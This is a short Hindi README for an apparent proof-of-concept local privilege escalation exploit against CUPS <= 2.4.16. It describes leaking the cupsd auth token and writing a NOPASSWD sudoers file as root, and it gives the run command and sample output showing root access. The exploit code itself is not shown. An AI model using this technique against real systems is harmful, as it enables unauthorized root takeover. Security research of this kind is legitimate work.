CVE-2026-34990 - CUPS स्थानीय प्रिवएस्क

CUPS <= 2.4.16 के विरुद्ध स्थानीय विशेषाधिकार वृद्धि जो root के रूप में चल रहा है। cupsd के Local auth टोकन को लीक करता है, फिर file:// प्रिंट क्यू के माध्यम से root के रूप में एक NOPASSWD sudoers फ्रैगमेंट लिखता है।

उपयोग

python3 poc.py

सफल होने पर:

[*] CVE-2026-34990 | user=ctfplayer | cupsd=127.0.0.1:631
[*] coercing cupsd - rogue server ...
[+] captured token: f4a8...c31b
[*] writing sudoers ...
[+] wrote /etc/sudoers.d/ctfplayer-pwn
[+] ROOT: uid=0(root) gid=0(root) groups=0(root)
[*] run: sudo -i

फिर:

sudo -i

अस्वीकरण

यह स्क्रिप्ट केवल शैक्षिक उद्देश्यों के लिए है। इस एक्सप्लॉइट के किसी भी दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं है। किसी भी भेद्यता का परीक्षण या शोषण करने से पहले हमेशा सुनिश्चित करें कि आपके पास अनुमति है!